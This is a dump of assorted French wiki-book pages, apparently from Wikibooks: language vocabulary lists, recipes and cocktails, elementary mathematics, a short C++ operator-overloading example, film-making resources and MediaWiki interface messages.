2005-12-20T12:38:52Z 195.6.25.114 /* Hearing : ''l'ouïe'' */ __NOTOC__ == Hearing : ''l'ouïe'' == to hear : ''entendre''<br />to listen to ... : ''écouter''<br />a noise : ''un bruit''<br />to be all ears : ''être tout ouïe''<br />His hearing is very acute : ''il a l'oreille fine''<br />To overhear a conversation : ''surpendre une conversation''<br />To eavesdrop on a conversation : ''écouter une conversation en cachette''<br />to prick up one's ear : ''tendre l'oreille''<br />to listen with only one ear, to only half listen : ''n'écouter que d'une oreille''<br />to stop up one's ears : ''se boucher les oreilles''<br />to close one's ear to something : ''faire la sourde oreille à quelque chose'' == The sight : ''la vue'' == to see : ''voir''<br />to look at ... : ''regarder''<br /><br />to look like ... : ''ressembler à ...''<br />to behold : ''contempler''<br />to glance at : ''jeter un coup d'oeil à ''<br />to stare at : ''regarder avec étonnement''<br />to glare at : ''regarder d'un air menaçant''<br />at first sight : ''à première vue''<br />to observe : ''observer''<br />to notice something, to spot something :''remarquer quelque chose''<br />to gaze at something : ''contempler''<br />to catch a glimpse of : ''apercevoir''<br />to scan something : ''parcourir quelque chose du regard''<br />to peep something : ''regarder quelque chose furtivement''<br />to squint at something : ''regarder quelque chose du coin de l'oeil''<br />to ogle someone : ''reluquer quelqu'un''<br />to blink : ''cligner des yeux''<br />to peer at someone : ''regarder quelqu'un d'un air interrogateur''<br />to wink at someone : ''faire un clin d'oeil à quelqu'un''<br />to gape at someone : ''re agrder quelqu'un bouche bée'' == Smell : ''l'odorat'' == a scent, a fragrance : ''un parfum (d'une fleur, d'un savon)''<br />a perfume : ''un parfum''<br />a smell : ''une odeur''<br />to smell : ''sentir''<br />to stink : ''sentir mauvais''<br />to have a keen sense of smell : ''avoir un bon odorat''<br />It smells of lavenders : ''ça sent la lavande''<br />to smell of something : ''sentir quelque chose''<br />odourless, scentless : ''inodore''<br />sweet-smelling : ''odorant, qui sent bon''<br />scented, fragrant : ''parfumé''<br />heady : ''capiteux''<br />pervasive :''pénétrant''<br />an aroma : ''un arôme''<br />to sniff at something : ''renifler/flairer quelque chose''<br />to scent, to perfume : ''parfumer''<br />nasty-smelling : ''malodorant, qui sent mauvais''<br />it's smelly : ''ça sent mauvais''<br />foul : ''nauséabond''<br />a stench : ''une odeur nauséabonde'' == Touch : ''le toucher'' == To touch : ''toucher'' <br />rough to the touch : ''rugueux au toucher'' <br />smooth : ''lisse'' <br />to finger something : ''toucher quelque chose des doigts'' <br />To touch something slightly : ''effleurer quelque chose'' <br />to handle : ''manipuler'' <br />to rub against : ''frotter contre'' <br />to stroke, to pet : ''caresser'' <br />to tap on : ''taper sur'' <br />To pat : ''tapoter (joue)'' <br />to knock on: ''frapper sur'' <br />To squeeze : ''presser'' <br />to tickle : ''chatouiller'' <br />ticklish : ''chatouilleux'' <br />soft : ''doux'' <br />even : ''uni'' <br />downy = ''duveteux'' <br />hard : ''dur'' <br />slippery : ''glissant'' <br />slimy : '' visqueux'' <br />greasy : ''graisseux'' <br />moist : ''humide'' <br />sticky : ''poisseux'' <br />coarse : ''rude'' <br />uneven : ''irrégulier'' <br />rough : ''rugueux'' ---- Retour au [[Enseignement de l'anglais|sommaire]] ---- = Cuisine:Pâtes au saumon fumé 3972 45165 2006-06-18T16:09:11Z Nicombo 684 modèle == Ingrédients == * 400g de pâtes (spaghetti, fettucine ...) * 160g (4 tranches) de saumon fumé * 20cl de crème fraîche semi-épaisse ou liquide * basilic, origan, romarin * un filet d'huile d'olive == Préparation == {| align="center" border="1" cellpadding="2" cellspacing="0" |- bgcolor="#efefef" ! Étape 1 ! Étape 2 |----- | width=50% | [[Image:Cuisson des pates.jpg|200 px|center|]] <br /><center>Faire cuire les pâtes à l'eau bouillante salée en suivant les instructions écrites sur le paquet.</center> | [[Image:Preparation pates saumon.jpg|200 px|center|]] <br /><center>Laver et couper les herbes. Les faire revenir 2 minutes dans un filet d'huile d'olive.</center> |- bgcolor="#efefef" ! Étape 3 ! Étape 4 |----- | valign=top|[[Image:Preparation pates saumon2.jpg|200 px|center|]] <br /><center>Ajouter la crème fraîche.</center> | vailgn=top|[[Image:Preparation pates saumon3.jpg|200 px|center]]<br /><center>Couper le saumon en dés. L'ajouter à la préparation. Laisser à feu doux cinq minutes.</center> |- bgcolor="#efefef" ! Étape 5|} |----- | valign=top|[[Image:Pates au saumon.jpg|200px|center]]<br /><center>Servir les pâtes accompagnées de sauce au saumon.</center> |} {{Cuisine|[[Cuisine:Recettes de pâtes|Recettes de pâtes]]}} Cuisine:Brandade de morue 3973 15439 2005-06-19T19:21:08Z 82.254.20.184 /* Le jour de la préparation */ __NOTOC__ == Ingrédients == * 800 g de morue salée (filet, si la morue est entière compter 1 kg) * 4 décilitre de lait * 4 décilitre d'huile d'olive * le jus d'un citron et demi * thym, laurier * poivre, muscade * 2 pommes de terre (facultatif) == Préparation == ===La veille=== Faire dessaler la morue. Pour cela la placer dans une casserole d'eau froide, renouveler l'eau plusieurs fois. Si la morue est entière mettre la peau noire au-dessus. ===Le jour de la préparation=== {| align="center" border="1" cellpadding="2" cellspacing="0" |- bgcolor="#efefef" ! Étape 1 ! Étape 2 |----- |width=50% valign=top|[[Image:Preparation brandade1.jpg|200 px|center]]<br /><center>Placer la morue dans une casserole d'eau froide ajouter le thym, les feuilles de laurier et le jus d'un citron.Porter à ébullition puis laisser frémir pendant 10 minutes.</center> |valigne=top| [[Image:Preparation brandade2.jpg|200 px|center]]<br /><center>Égoutter, laisser refroidir. Retirer toutes les arêtes et la peau en émiettant la morue. </center> |- bgcolor="#efefef" ! Étape 3 ! Étape 4 |----- | valign=top|[[Image:Preparation brandade3.jpg|200 px|center]]<br /><center>Faire tiédir séparément l'huile et le lait dans deux casseroles.Verser alternativement l'huile et le lait dans la morue en agitant avec une spatule en bois jusqu'à l'obtention d'une pâte onctueuse.</center> | valign=top|[[Image:Preparation brandade4.jpg|200 px|center]]<br /><center>Vous pouvez terminer en utilisant un mixeur. Vous pouvez ajouter les pommes de terre préalablement cuites en robe des champs, pelées et écrasées en purées. Assaisonner en ajoutant le reste de citron, le poivre, la muscade. En général, il n'y a pas besoin de rajouter du sel.</center> |- bgcolor="#efefef" ! Étape 5 |----- | valign=top|[[Image:Brandade.jpg|200px|center]]<br /><center>Verser la préparation dans un plat, passer au four chaud (8 – 240°C) pour gratiner (environ 10 minutes).Servir avec des croûtons frits.</center> |} ---- Retour aux [[Cuisine:Recettes de la mer|recettes de la mer]] / au [[Livre_de_Cuisine|sommaire]] ---- Algèbre:Nombres entiers naturels 3974 34612 2006-02-25T01:42:40Z Tibault 1169 Changement N -> \mathbb{N} ==Introduction== Un nombre entier naturel est un nombre positif (supérieur ou égal à 0) et sans virgule (qui se forme par addition d'unités) par exemple 1, 12 ou 65536. ==Les Axiomes de Peano== Leur ensemble est l'ensemble <math>\mathbb{N}</math> et est défini par les axiomes de Peano: #L'ensemble possède un plus petit élément que l'on note 0 et est infini. #Chaque élément n possède un successeur que l'on notera S(n) ou n+ et 0 n'est le successeur d'aucun élément. #Si deux éléments ont le même successeur, ils sont égaux. #Tout sous-ensemble de <math>\mathbb{N}</math> contenant 0 et tous les successeurs de ses propres éléments est confondu avec <math>\mathbb{N}</math>. (Axiome de récurrence) ==Quelques conséquences== * À partir de ces axiomes, nous pouvons [[démontrer le théorème de récurrence]]. * Nous pouvons définir 1 comme le successeur de 0. * Nous pouvons définir l''''addition''' par les deux axiomes suivants : :# <math>\forall (a,b) \in \mathbb{N}^2 : a + S(b) = S(a + b).</math> :# <math>\forall a \in \mathbb{N} : a + 0 = a.</math> :# on montre : <math>\forall a \in \mathbb{N} : a + 1 = S(a).</math> * Nous pouvons définir la '''multiplication''' par les deux axiomes suivants : :# <math>\forall (a,b) \in \mathbb{N}^2 : a . S(b) = a + a . b</math> :# <math>\forall a \in \mathbb{N} : a . 0 = 0.</math> ==Conclusion== Ces axiomes permettent de ''démontrer'', et non plus d'''admettre'', toutes les propriétés des deux opérations de base. Ainsi il est très facile, voire amusant, de démontrer par des récurrences pour : *l''''addition''': **La commutativité **L'associativité. *la '''multiplication''': **La commutativité **L'associativité **La distributivité **La neutralité de 1 Cuisine:Curry de poisson keralais 3976 15442 2005-06-20T06:06:46Z Antoinel 182 ==Ingrédients (pour 4 personnes)== * 4 filets de poisson blanc (aiglefin, cabillaud ou merlu) * 5 cuillérées à soupe d'huile de tournesol * 2 cuillérées à café de graines de moutarde * 1 cuillérée à café de graines de fenugrec * 1 poignée de feuilles de curry * 3 piments verts * 5 cm de gingembre frais * 3 oignons * 1 cuillérée a café de piment en poude * 1 cuillérée à café de curcuma * 6 tomates * 1 boîte de lait de coco * 1 bouquet de coriandre * sel ==Préparation== # Faire chauffer l'huile dans une sauteuse. Y ajouter les graines de moutarde, le fenugrec, les feuilles de curry, les piments verts hachés, le gingembre râpé, les oignons hachés, le piment en poudre, le curcuma et les tomates concassées en prenant soin de bien remuer entre chaque ingrédient. # Laisser cuire cinq minutes. Ajouter un verre d'eau pour lier puis le lait de coco. Laisser bouillir cinq minutes. # Ajouter les filets de poisson. Laisser cuire à feu doux cinq à dix minutes. # Parsemer de coriandre hachée et servir aussitôt accompagné de riz pilaf. ---- Retour aux [[Cuisine:Recettes de la mer|recettes de la mer]] / au [[Livre_de_Cuisine|livre de cuisine]] ---- Cuisine:Tequila sunrise 3977 15443 2005-06-20T06:08:44Z Antoinel 182 Le '''Tequila sunrise''' est un cocktail à base de tequila dont voici la recette : [[w:vocabulaire des cocktails|Frapper]] les ingrédients suivants : * 3 cl de tequila * 7 cl de jus d'orange. Servir dans un [[w:vocabulaire des cocktails|tumbler]] et verser doucement un trait de grenadine afin que ce dernier tombe au fond du verre et lui donne sa couleur de « coucher de soleil ». ---- Retour au [[Livre_de_Cuisine|sommaire]] ---- Cuisine:Black velvet 3978 15444 2005-06-20T06:10:59Z Antoinel 182 Le '''black velvet''' est un cocktail à base de bière brune et de vin de champagne dont voici la recette : Verser dans un verre à bière les ingrédients suivants : * 6 cl de bière brune (''Guinness'') * 6 cl de champagne brut. Remuer doucement (ou selon certains, il faut laisser flotter une couche de champagne sur la bière, sans remuer) et servir. <br /> Si on se sert de cidre au lieu de champagne, le cocktail s'appelle ''poor man's black velvet''. ---- Retour au [[Livre_de_Cuisine|sommaire]] ---- Cuisine:Long Island Iced Tea 3979 15445 2005-06-20T06:13:12Z Antoinel 182 Le '''Long Island Iced Tea''' est un cocktail à base de tequila, de gin, de vodka et de rhum dont voici la recette : [[w:vocabulaire des cocktails|Frapper]] les ingrédients suivants : * 1,5 cl de tequila * 1,5 cl de gin * 1,5 cl de vodka * 1,5 cl de rhum blanc. Servir dans un [[w:vocabulaire des cocktails|tumbler]] allongé de soda au cola et décorer avec une rondelle de citron. Ce cocktail a été créé dans les années 1970 par le barman Robert « Rosebud » Butt, d'après les recommandations de l'écrivain Ernest Hemingway. ---- Retour au [[Livre_de_Cuisine|sommaire]] ---- Cuisine:Ravioles au crabe et langoustine 3980 15446 2005-06-20T06:16:26Z Antoinel 182 __NOTOC__ ==Ingrédients== pour 6 personnes * 1 pâte à raviole * 18 langoustines décortiquées, * 300 gr de chair de crabe effilochée, * 20 cl de crème liquide, * 1 blanc d’œuf, * 1 petit bouquet de cerfeuil, * 3 cuillers à soupe d’huile d'olive, * 1 cuiller à café de baies roses et une autre de thym, sel, poivre du moulin. ==Ustensiles spécifiques== * 1 saladier * 1 roulette à découper * 1 sauteuse * 1 casserole ==Préparation des ravioles== * Préparez la pâte à raviole comme indiquée dans la recette avec 300 gr de farine, et laissez-la reposer au frais pendant au moins une heure. * Effilochez la chair de crabe dans un saladier, ajoutez-y le cerfeuil finement ciselé, versez-y 5 cl de crème, poivrez et mélangez bien. * Étalez la pâte très finement sur le plan de travail fariné, et découpez-la en 2 carrés égaux, puis avec la pointe d'un couteau, dessinez des carrés de 3 cm de coté sur l'un des deux carrés. * Déposez une petite cuillère à café de la préparation au crabe dans chaque carré, puis badigeonnez le pourtour de blanc d'œuf et posez délicatement le deuxième carré de pâte par-dessus. * Pressez les bords des ravioles avec une règle puis découpez-les avec une roulette, poudrez de farine et réservez-les au frais. ==Préparation des langoustines== * Décortiquez les langoustines. * Faites chauffer l'huile dans une sauteuse et faites-y sauter les langoustines 3 minutes en les remuant, puis salez et poivrez. * Retirez les langoustines et versez la crème dans la sauteuse, ajoutez les baies roses et le thym, et faites chauffer. * Aux premiers frémissements, remettez les langoustines, mélangez et réservez-les au chaud. ==Cuisson des ravioles== * Portez à ébullition au moins 3 litres d'eau salée dans une casserole, et aux premiers bouillons, plongez-y les ravioles et faites-les cuire 2 minutes. * Égouttez-les et répartissez-les dans des assiettes chaudes, accompagnées des langoustines à la crème et servez aussitôt bien chaud. Bon appétit ! ---- Retour aux [[Cuisine:Recettes de la mer|recettes de la mer]] / au [[Livre_de_Cuisine|livre de cuisine]] ---- Programmation J2EE Servlets 3983 15449 2005-06-20T13:57:59Z 196.203.10.94 '''1.Présentation''' == Texte de sous-titre == '''L'origine des Servlets''' '''Les technologies utilisées''' '''La place des Servlets''' '''A quoi ça sert ?''' '''Public visé''' '''Les possibilités''' '''Quels sont les acteurs sur le marché ?''' '''Les solutions de substitution''' Modèle:Programmation PHP 3984 40070 2006-04-13T07:11:50Z Merrheim 1032 {| style="width:200px;margin-left: 5px; border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:lightblue;" | '''[[Programmation PHP]]''' |- | style="text-align:center;background:lightblue;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:PHP.png|center|Programmation PHP]] |- | bgcolor="lightblue" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small>[[Programmation PHP/Introduction|Introduction]]</small> *<small>[[Programmation PHP/Installer PHP|Installer PHP]]</small> *<small>[[Programmation PHP/Bases du langage|Bases du langage]]]</small> **<small>[[Programmation PHP/Premier programme|Premier programme]]</small> **<small>[[Programmation PHP/Variables|Les variables]]</small> **<small>[[Programmation PHP/Constantes|Constantes]]</small> **<small>[[Programmation PHP/Opérateurs|Opérateurs]]</small> **<small>[[Programmation PHP/Mots clefs réservés|Mots clefs réservés]]</small> **<small>[[Programmation PHP/Structures de contrôle|Structures de contrôle]]</small> **<small>[[Programmation PHP/Bases de données|Bases de données]] </small> * <small>'''Apprendre par l'exemple'''</small> ** <small>Leçon n° 1 : [[Programmation PHP/Exemples/Premier programme|Premier programme en php]]</small> ** <small>Leçon n° 2 : [[Programmation PHP/Exemples/Variables|Utilisation de variables]]</small> ** <small>Leçon n° 3 : [[Programmation PHP/Exemples/Sommaire|Un sommaire simple]]</small> ** <small>Leçon n° 4 : [[Programmation PHP/Exemples/Formulaire|Interaction avec un formulaire]]</small> ** <small>Leçon n° 5 : [[Programmation PHP/Exemples/BD 1|Afficher le résultat d'une requête]]</small> ** <small>Leçon n° 6 : [[Programmation PHP/Exemples/BD 2|Modifier une table]]</small> ** <small>Leçon n° 7 : [[Programmation PHP/Exemples/Livre|Faire un livre d'or]]</small> ** <small>Leçon n° 8 : [[Programmation PHP/Exemples/MiniCMS|Faire un mini CMS]]</small> ** <small>Leçon n° 9 : [[Programmation PHP/Exemples/MiniForum|Faire un mini forum de discussion]]</small> * <small>'''Apprendre AJAX'''</small> ** <small>Leçon n° 1 : [[Programmation PHP/Ajax/Sommaire|Un sommaire sous AJAX]]</small> ** <small>Leçon n° 2 : [[Programmation PHP/Ajax/Date|Mettre à jour périodiquement un cadre]]</small> *<small>[[Programmation PHP/Dossiers|Dossiers]] </small> **Introduction **<small>[[Programmation PHP/La programmation orientée objet|La programmation orientée objet]]</small> **<small>[[Programmation PHP/La librairie PEAR DB|La librairie PEAR DB]] </small> **<small>[[Programmation PHP/La librairie ADODB|La librairie AODDB]] </small> **<small>[[Programmation PHP/La librairie FPDF|La librairie FPDF]] </small> **<small>[[Programmation PHP/La librairie DOM|La librairie DOM]] </small> **<small>[[Programmation PHP/Concevoir du code de haute qualité|Concevoir du code de haute qualité]] </small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Programmation_PHP&action=submit Modifier ce modèle]</small> |} Image:PHP.png 3985 15451 2005-06-20T15:03:28Z PereCastor 362 Logo PHP éléphant Logo PHP éléphant Cuisine:Torti aux crevettes et à la feta 3986 45166 2006-06-18T16:10:45Z Nicombo 684 aj modèle == Ingrédients (pour 4 personnes)== * 400 gr. de torti * 400 gr de crevettes (fraîches ou surgelées) * 200 gr de feta coupée en petits dés * 5 gros oignons * 20 cl de crème fraîche, une noix de beurre * quelques brins de ciboulette fraîche, sel et poivre du moulin == Préparation == # Faites cuire les pâtes avec 4 litres d'eau bouillante salée pour les 400 gr de pâtes. Lorsque les pâtes sont cuites, égouttez les. # Décortiquez les crevettes, pelez et hâcher les oignons. # Dans une casserole, faites fondre à feu doux le beurre et ajoutez les crevettes décortiquées à feu moyen. # Quand elles sont dorées, ajoutez les oignons hâchés et laissez cuire 1 minute à feu doux. # Ajoutez les dés de feta, mélangez, rajoutez la crème fraîche, salez, poivrez. # Dans un saladier verser les pâtes égouttées, ajouter la préparation et mélangez. Servez immédiatement. {{Cuisine|[[Cuisine:Recettes de pâtes|Recettes de pâtes]]}} Cuisine:Pâtes à la flammenkuche 3987 45162 2006-06-18T16:03:29Z Nicombo 684 aj modèle == Ingrédients == * 400g de pâtes * 200g de fromage blanc * 120g de lardons * 2 gros oignons == Préparation == # Faire cuire les pâtes en suivant les inscriptions écrites sur le paquet. # Dans une casserole, faire revenir les lardons (nul besoin d'huile, le gras des lardons suffit). Ajouter les oignons couper en lamelles. # Lorsque les oignons sont translucides, ajouter le fromage blanc. Laisser à feu doux cinq minutes. # Servir les pâtes accompagnées de sauce. {{Cuisine|[[Cuisine:Recettes de pâtes|Recettes de pâtes]]}} Faire son film-Linux 3988 31807 2006-02-06T16:37:52Z 82.225.234.108 /* Animation */ Nous allons ici essayer de faire une liste d'outils numériques accessibles non exhaustive sur la plupart des plateformes. ==Ecriture== * [http://www.celtx.com/overview.html Celtx] (extension Firefox) ==Budget== ==Manager de projet/Emploi du temps== ==StoryBoard== ==Montage== * [http://kino.schirmacher.de/ Kino] (GTK), logiciel libre de montage simple * [http://heroinewarrior.com/cinelerra.php3 Cinelerra], logiciel libre de montage avancé * [http://www.mainconcept.com/mainactor_v5_linux.shtml MainActor] de MainConcept (199€), logiciel de montage avancé * [http://www.jahshaka.org/index.php Jahshaka], logiciel libre de compositing (effets spéciaux) et de montage. ==Convertisseur== ==Edition Audio== * [http://fr.wikipedia.org/wiki/Audacity Audacity], logiciel libre d'édition audio ===Synchronisation Lèvre/voix=== ==Edition Image== ===Bitmap=== *[http://fr.wikipedia.org/wiki/The_GIMP The Gimp], puissant logiciel de dessin *[http://fr.wikipedia.org/wiki/Cinepaint CinePaint], dérivé de The Gimp, spécialisé dans la retouche image par image ===Vecteur=== ==Animation== ===3D=== [http://fr.wikipedia.org/wiki/Blender Blender], suite complète d'animation 3d libre ===Animation en volume=== [http://polycrystal.org/frameworks/ Frameworks] permet de prendre des images, avec des fonctions du type pelure d'oignon, compatible avec le plugin gimp GAP. ===2D=== [http://gimp.org Gimp GAP] plugin d'animation pour gimp supportant l'import/export dans differents formats vidéos, la pelure d'oignon, la création de storyboard, et d'autres choses. ==VJ== ==Creation de (S)VCD== ==Création de DVD== ==Video en ligne (stream)== ===Utiliser le P2P=== ==Sous-titrage== [http://kitone.free.fr/subtitleeditor/ Subtitle Editor] (GTK2), un des seuls (voire le seul au développement actif) logiciels de sous-titrage sous Linux. ==Diffusion internet== ==Codec/Conteneur== ==Système "Prêt à utiliser"== * [http://garbure.org/pho/ Ph&#7903;], Live-CD (base Debian) destiné au montage vidéo * [http://www.dynebolic.org/index.php?show=features Dyne:bolic], Live-CD destiné à la production artistique (streaming, VJ, montage, effets...) [[en:Movie Making Manual-Linux in film production]] Enseignement du gallo/Bibliographie 3990 15456 2005-06-21T15:24:29Z AKARIGE 313 /* Ouvrages */ '''Bibliographie sur le gallo''' == Ouvrages == === Généralités === Jean-Paul Chauveau, ''Le gallo : une présentation'', Université de Bretagne Occidentale, Brest, 1984 (Studi n°26 et n°27) === Atlas linguistiques === === Glossaires et lexiques === == Articles == Programmation C plus plus Opérateurs 3991 36808 2006-03-09T19:26:23Z Merrheim 1032 {{Programmation C++}} On peut facilement utliser des operateur sur une ou des classes. Prenons un exemple très simple: La classe Q (nombre rationnel)!<BR> <pre> #include <iostream> #include <cstdlib> class Q{ public: int num; // stocke le numérateur int den; // stocke le dénominateur Q(int a=0,int b=1); // le constructeur de la classe Q (le nombre 1 par défaut) Q operator+(Q a); // Définit l'opérateur + void show(); // Affiche le nombre rationnel }; Q::Q(int a,int b){ // Le constructeur num=a; den=b; } Q Q::operator+(Q a){ Q t; // crée un nouveau nombre rationnel t.num=num*a.den+den*a.num; // stock le numérateur des nombres additionnés t.den=den*a.den; // stock le dénominateur des nombres additionnés. return t; // retourne le résultat de l'addition } void Q::show(){ std::cout << num << " / " << den << " = " << (float)(num)/(float)(den) << "\n"; } int main(){ Q a(3,4),b(1,2); // définit deux nouveaux nombres rationnels a et b a=a+b; // additionne a et b est stocke le résultat sous a. a.show(); // affiche a return 0; } </pre> Voila! Il est en effet bien pratique d'avoir une classe Q qui permet de stocker des nombres rationnels, mais elle n'est pas très utile, si l'on ne peut pas faire d'opération avec ces objets. L'exemple ci-dessus montre comment il est possible d'utiliser l'operateur + entre deux objets de la classe Q (nombre rationel). Cuiqine:Croque-monsieur 3992 15458 2005-06-22T16:41:22Z Antoinel 182 == Ingrédients (de base)== * pain de mie * jambon * comté * beurre == Ingrédients complémentaires == * mozarella * chèvre * chorizo * basilic == Préparation == # Raper le comté et couper le jambon en carré de la taille de pain de mie. # Beurrer un côté de chaque tranche de pain et garnir le côté non-beurré de jambon et de fromage. Recouvrir d'une tranche de pain. # Passer au grille à croques-monsieurs cinq minutes. ---- Retour aux [[Cuisine:Recettes rapides|recettes rapides]] / au [[Livre_de_Cuisine|sommaire]] ---- Cuisine:Salade de riz 3993 15459 2005-06-22T16:43:12Z Antoinel 182 La salade de riz est un plat rapide que l'on consomme le plus souvent en été. Il en existe de nombreuses variantes. == Ingrédients (pour 4 personnes)== * 350g de riz * 200g de thon * 3 tomates * 100g de maïs * 4 oeufs durs * mayonnaise == Préparation == # Faire cuire le riz puis l'égoutter et le laisser refroidir. # Couper les oeufs durs en quartier. # Mélanger tous les ingrédients dans un saladier. ----- Retour aux [[Cuisine:Recettes rapides|recettes rapides]] / au [[Livre_de_Cuisine|sommaire]] ----- Analyse:Fonctions 3997 15463 2005-06-23T14:15:52Z 195.36.141.14 [[de:Funktion (Mathematik)]] [[en:Function (mathematics)]] [[es:Función]] [[eo:Funkcio]] [[it:Funzione (matematica)]] [[nl:Functie (wiskunde)]] [[pl:Funkcja matematyczna]] [[ru:Функция (математика)]] [[catégorie:Analyse]] ''Mathématiques'' > '''Fonctions''' {{ébauche}} == Présentation == == Définitions == === Définitions de base === Soit E et F deux ensembles. On appelle '''graphe''' de E vers F tout parties de <math>E \times F</math>. On appelle '''correspondance''' de E vers F le triplet <math>(\Gamma ,E,F)</math>, où <math>\Gamma</math> est un graphe de E vers F, E l'ensemble de départ et F l'ensemble d'arrivée. On nomme '''ensemble de définition''' de la correspondance l'ensemble : <math>\left\{ {x|x \in E\;{\rm et }\exists y,(x,y) \in \Gamma } \right\}</math> Cet ensemble est vide si, et seulement si, <math>\Gamma</math> est vide. On appelle '''graphe fonctionnel''' de E vers F, tout graphe <math>\Gamma</math> de E vers F, vérifiant la relation suivante : <math>\forall x \in E,\left\{ {y|y \in F\;{\rm et }(x,y) \in \Gamma } \right\} = \emptyset {\rm ou }\left\{ a \right\}</math> On appelle '''application''', ou '''fonction''', de E vers F, toute correspondance de E vers F dont le graphe est un graphe fonctionnel et dont E est le domaine de définition On écrira par convention : <math>f:E \to F</math>. L'ensemble <math>f(E)</math> est appelé ''image'' de f, noté également <math>Im f</math>. '''ATTENTION''' : il ne faut pas confondre <math>f(x)</math> qui est un élément de F, et <math>f</math> élément de <math>E \times F</math> === Application composée === Soit E,F,F des ensembles et <math>f:E \to F</math>, <math>g:F \to G</math>. On appelle composée des applications g et f, et on note <math>g \circ f</math>, l'application <math>h:E \to G</math>, telle que <math>h(x) = g(f(x))</math> pour tout <math>x \in E</math>. La composition est associative d'où : <math>(h \circ g) \circ f = h \circ (g \circ f)</math>. On note alors <math>h \circ g \circ f</math> === Caractéristiques === Soit <math>f:E \to F</math> une application. :1) f est injective si et seulement si <math>\forall x \in E,\forall y \in E,x \ne y \Rightarrow f(x) \ne f(y)</math> :2) f est surjective si et seulement si <math>\forall y \in F,\exists x \in E,f(x) = y</math> :3) f est bijective si 1) et 2) sont vérifié On parle éventuellement de permutation de E pour une bijection lorsque l'ensemble est ''fini''. Faire son film-livres 3998 15464 2005-07-02T08:03:17Z JeanLucCoulon 381 /* Technique */ Vous trouverez ici un certain nombre d'ouvrage traitant sur le domaine audiovisuel. ==Histoire du cinéma== *Histoire du Cinéma Mondial de George Sadoul. *Guide du Cinéma Mondial (Tome 1 et 2) de Gaston Haustrate. *Cinémaction : Histoire du Cinéma. *Le Documentaire de Jean Breschand. *Le Documentaire, un autre cinéma de Guy Gautier ==Théorie et Esthétique du Cinéma== *Qu’est ce que le Cinéma d’André Bazin. *Esthétique du Film de Jacques Aumont, Alain Bergala, Michel Marie et Marc Vernet. *Le temps scellé d’Andrei Tarkovski. *Notes sur le cinématographe de Robert Bresson. *L’art du film, une introduction de Bordwell et Thompson. *Le Plan d’Emmanuel Siety. *Le Montage de Vincent Pinel. *Jorge Sinclair: Direction montage ==Technique== *Philippe Bellaïche : Les secrets de l'images vidéo - Editions Eyrolles. *Daniel Arijon : La grammaire du langage filmé - Éditions Dujarric. ==Ouvrage sur la lumière== *La lumière au cinéma de Revault d’Allones. *La Photo de Cinéma de René Prédal. *Initiation à l’image du film d’Arthut Cloquet. *Le cadrage au cinéma, l’œil à la caméra de Dominique Villain. ==Histoire des Arts== *Histoire des Arts d’Hervé Loilier. *Histoire de l’Art de Gombrich. *L’Art du XIXème siècle de Nicole Truffelli. *L’Art Contemporain de Jean Louis Pradel. *L’Encyclopédie Universalis. ==Préparation des épreuves écrites== *Analyse des Films de Jacques Aumont et Michel Marie. *Guide Pratique du Storyboard de Rémy Jacquinot et d’Olivier et Raphaël Saint Vincent. ==Autres== *Dictionnaire Mondial des Films de Bernard Rapp et Jean Claude Lamy. *Dictionnaire du Cinéma de Jean Loup Passek.a Image:Phobos et Mars (Celestia).jpeg 4000 15466 2005-06-23T21:08:30Z JihemD 346 {{Sharedupload}} Image:De Terre a Voie Lactée.gif 4001 15467 2005-06-23T21:09:17Z JihemD 346 {{Sharedupload}} Chimie organique Cycloalcanes 4003 15469 2005-06-24T19:13:11Z 82.252.86.152 [[Image:Cycloalcanes.png]] ---- Retour : [[Chimie organique:Alcanes et cycloalcanes]] ---- Livre de Cuisine/Tartes et pizzas/Pizza campagnarde 4004 46281 2006-06-28T11:06:50Z Nicombo 684 [[Catégorie:Tartes et pizzas|Pizza campagnarde]] == Ingrédients == * 1 pâte à pizza * 400g de concassé de tomates * 200g de champignons * 2 tranches de jambon * 100g de comté == Préparation == # Laver et éplucher les champignons. Les couper dans le sens de la longueur. Les faire revenir 10 min dans une casserole pour leur faire perdre leur eau. # Couper le jambon en carré et raper le comté. # Dans un plat fariné, étaler la pâte. La recouvrir de concassé de tomates, de jambon, champignons ainsi que de comté. # Faire cuire au four à 210°C pendant 10 à 15 min. Allemand : Der Justiz : la justice 4005 43982 2006-06-06T08:50:05Z 82.126.235.202 das Gesetz (-e) : ''la loi''<br />ein Gesetz verabschieden : ''voter une loi''<br />das Gesetz achten, respektieren : ''respecter la loi''<br /> das Vrebrechen : ''le crime''<br />der Mord (e) : ''le meurtre''<br />der Diebsthal (ë) : ''le vol''<br />stehlen : ''voler''<br />der Überfall (¨e) : ''l'agression''<br />die Erpressung : ''le racket'' die Verurteilung (en) : ''la condamnation''<br />die Strafe (n) : ''la peine''<br />die Geldstrafe (n) : ''l'amende''<br />das Gefängnis (se) : ''la prison''<br />die Todesstrafe : ''la peine de mort''<br />eine Strafe ab/sitzen : ''effectuer une peine'' ---- Retour au [[Vocabulaire allemand]] / au [[Enseignement de l'allemand|sommaire]] ---- MediaWiki:Allmessagescurrent 4006 sysop 46670 2006-07-01T18:48:48Z MediaWiki default Message actuel MediaWiki:Allmessagesdefault 4007 sysop 46671 2006-07-01T18:48:48Z MediaWiki default Message par défaut MediaWiki:Allmessagesname 4008 sysop 46674 2006-07-01T18:48:48Z MediaWiki default Nom du champ MediaWiki:Bad image list 4009 sysop 15475 2005-06-25T11:04:00Z MediaWiki default MediaWiki:Laggedslavemode 4010 sysop 15876 2005-07-03T11:17:08Z MediaWiki default Attention : la page n'intègre peut être pas les dernières éditions MediaWiki:Readonly lag 4011 sysop 15914 2005-07-03T11:17:09Z MediaWiki default La base de donnée a été automatiquement bloquée pendant que les serveurs secondaires rattrapent leur retard avec le serveur principal MediaWiki:Rightslogtext 4012 sysop 46980 2006-07-01T18:48:50Z MediaWiki default Ceci est un journal des modifications de statut d'utilisateur.. MediaWiki:Sessionfailure 4013 sysop 46996 2006-07-01T18:48:50Z MediaWiki default Il semble qu'il y ait eu un problème avec votre session d'identification; cette action a été annulée par précaution contre le piratage de session. Merci de cliquer sur « retour » et de recharger la page d'où vous venez, et de réessayer. MediaWiki:Sorbs 4014 sysop 15480 2005-06-25T11:04:00Z MediaWiki default SORBS DNSBL MediaWiki:Sorbs create account reason 4015 sysop 47008 2006-07-01T18:48:51Z MediaWiki default Votre 